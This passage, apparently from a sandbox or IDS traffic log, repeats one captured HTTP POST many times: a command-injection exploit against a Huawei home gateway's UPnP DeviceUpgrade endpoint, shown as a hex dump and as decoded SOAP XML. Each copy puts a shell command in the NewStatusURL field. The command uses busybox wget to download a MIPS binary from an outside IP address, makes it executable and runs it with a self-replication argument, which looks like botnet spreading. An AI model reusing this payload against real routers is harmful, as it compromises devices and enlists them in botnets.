67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 34 20 2d 6c 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 2d 72 20 2f 62 6f 6c 6f 6e 65 74 77 6f 72 6b 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 3b 20 2f 74 6d 70 2f 2e 62 75 6c 75 6c 62 6f 6c 20 73 65 6c 66 72 65 70 2e 62 75 6c 75 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 15.235.203.214 -l /tmp/.bululbol -r /bolonetwork.mips; /bin/busybox chmod 777 /tmp/.bululbol; /tmp/.bululbol selfrep.bulu)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
Source: global traffic	HTTP traffic detected: POST /ctrlt/DeviceUpgrade_1 HTTP/1.1Connection: keep-aliveAccept: /Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"Content-Length: 482Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 35 2e 32 33 35 2e 32 30 33 2e 32 31 